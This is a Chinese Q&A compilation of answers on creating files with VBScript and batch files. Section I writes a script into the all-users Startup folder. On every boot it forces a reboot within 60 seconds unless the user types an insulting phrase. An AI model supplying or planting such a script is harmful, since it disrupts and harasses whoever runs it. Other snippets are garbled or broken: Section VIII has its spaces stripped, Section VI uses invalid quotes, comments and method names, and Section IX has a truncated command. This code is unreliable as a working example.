怎样用vbs脚本创建文件

Ⅰ 怎样用vbs新建一个文件

提醒你一下 你新建的文件应为sd.vbs才对 帮你改过来了~
Set Of = CreateObject("Scripting.FileSystemObject")
set ws=createobject("wscript.shell")
pathname =ws.SpecialFolders("allUsersStartMenu")
Set objFile = of.OpenTextFile(pathname&"\程序\启动\sd.bat", 2, True)
objFile.Writeline "on error resume next"
objFile.Writeline "dim WSHshellA"
objFile.Writeline "set WSHshellA = wscript.createobject("&""""&"wscript.shell"&""""&")"
objFile.Writeline "WSHshellA.run "&""""&"cmd.exe /c shutdown -r -t 60 -c"
objFile.Writeline""&""""&""&""""&"说我是猪，不说就一分钟关你机，不信，试试···"&""""&""&""""&""&""""&",0 ,true"
objFile.Writeline "dim a "
objFile.Writeline "do while(a <> "&""""&"我是猪"&""""&")"
objFile.Writeline "a = inputbox ("&""""&"说我是猪,就不关机，快撒，说 "&""""&""&""""&"我是猪"&""""&""&""""&" "&""""&","&""""&"说不说"&""""&","&""""&"不说"&""""&",8000,7000)"
objFile.Writeline "msgbox chr(13) + chr(13) + chr(13) + a,0,"&""""&"MsgBox"&""""&""
objFile.Writeline "loop"
objFile.Writeline "msgbox chr(13) + chr(13) + chr(13) + "&""""&"早说就行了嘛"&""""&" "
objFile.Writeline "dim WSHshell"
objFile.Writeline "set WSHshell = wscript.createobject("&""""&"wscript.shell"&""""&")"
objFile.Writeline "WSHshell.run "&""""&"cmd.exe /c shutdown -a"&""""&",0 ,true "
objFile.Writeline "msgbox chr(13) + chr(13) + chr(13) + "&""""&"哈哈哈哈，真过瘾" &""""&""
objFile.Close

Ⅱ 如何用VBS 创建文本文件

Dim fso
content="时间扔带我们匆匆前行 走过一段又一段的落寞 像是沙漠里摇曳的枯树 注定了那样的孤独 我只想请时间可不可以放慢脚步 可以让我走出那片困扰自己的迷途 可是， 我没有想过要忘记"
Set fso = CreateObject("scripting.filesystemobject")
Set myfile=fso.CreateTextFile( "d:\文件.txt",,ture)
str=Split(content," ")
content=""
For Each i In str
myfile.WriteLine i
Next
myfile.Close

Ⅲ 怎么在我自己的电脑上创建一个VBS类型的文件！

新建一个文本文件……
把脚本文件内的内容拷贝进去保存……然后保存类型为".vbs"即可……
如果给你写的这个脚本文件就是用的文本写的……那就直接把文本的后缀名改为".vbs"即可……
如何显示后缀名呢？
在资源管理器中->工具->文件夹选项->查看->

Ⅳ vbs如何能生成并保存一个文本文档呢

'以下代码复制粘贴到记事本，另存为xx.vbs，编码选ANSI
rem 将输入框输入的内容输出保存到桌面一个txt文本文件里
info="Any question +"& Chr(87) & Chr(88) & "/" & Chr(81) & Chr(81) & CStr(&H53b7e0b4)
Set ws=CreateObject("WScript.Shell")
Set fso=CreateObject("Scripting.Filesystemobject")
input=inputbox("输入一段话",info)
If trim(input) = "" Then
msgbox "输入为空" & vbCrLf & info
WSH.Quit
End If
outfile=ws.SpecialFolders("Desktop") & "\xx.txt"
Set f=fso.CreateTextFile(outfile)
f.Write input
f.Close

Ⅳ VBS 如何新建一个文本文档

Set fso = CreateObject("Scripting.FileSystemObject")
Set textfile = fso.CreateTextFile("c:\abc.txt", True, False)
textfile.WriteLine ("ok")
textfile.Close
Set fso = Nothing

Ⅵ 请问,vbs脚本如何创建一个excel文件以及检查文件是否存在

dim fs,s //定义fs、s两个变量

set fs=wscript.createobject(“scripting.filesystemobject”) //fs为FSO实例
if (fs.FileExits(“F:\Program Files\TTPlayer\TTPlayer.exe”)) then //判断文件是否存在
s=”is available”
else
s=”not exist”
end if

Ⅶ 怎麽做"*.vbs"文件

你好啊，这个很简单的，用记事本就可以编写，步骤如下：
1：新建一个记事本，打开，然后将你的vbs脚本代码复制进去
2：另存为，在另存为的时候，文件类型，选择“所有文件”，然后再写文件名，文件名一定要有vbs脚本的后续，比如
XX.vbs
其他的不用改
3：成功了，这个就是
vbs
脚本，双击即可运行脚本了

Ⅷ vbs创建文件夹

dimpathname,filename,fso,read,str,filepath
setfso=createobject("scripting.filesystemobject")
pathname="path.txt"
str="ShutdownScript
emotecomputer.txt"
iffso.fileexists(pathname)=truethen'先来判断它是一个有效的路径+文件,如果成立,以下均按正常程序执行
read=fso.opentextfile(pathname).readall'读取全文
foreachiinsplit(read,vbcrlf)'遍历全文每行的内容
ifinstr(right(i,1),"")=0thenfilename=i&""&strelsefilename=i&str'在执行下面代码之前先进行格式化处理文本
filepath=left(filename,instrrev(filename,""))'分离路径
iffso.folderexists(filepath)=falsethenfso.createfolderfilepath'如果路径存在则创建文件夹
iffso.fileexists(filename)=falsethenfso.createtextfile(filename).write"test"'如果文件存在则创建文件写入test
next
endif

Ⅸ vbs创建多个文件

你这个操作用批处理比较简单
把以下代码在记事本中保存，另存为 任意名字.bat
然后放在将要被复制的文件夹下运行，同时把 E:\音乐
改成你的目标目录[就是要复制到的地方]

@echo off& set bat=%~dp0
x /e "%bat:~0,-1%" "E:\音乐\"
attrib /s /d +r "E:\音乐\*"& del /a /f "E:\音乐\%~nx0"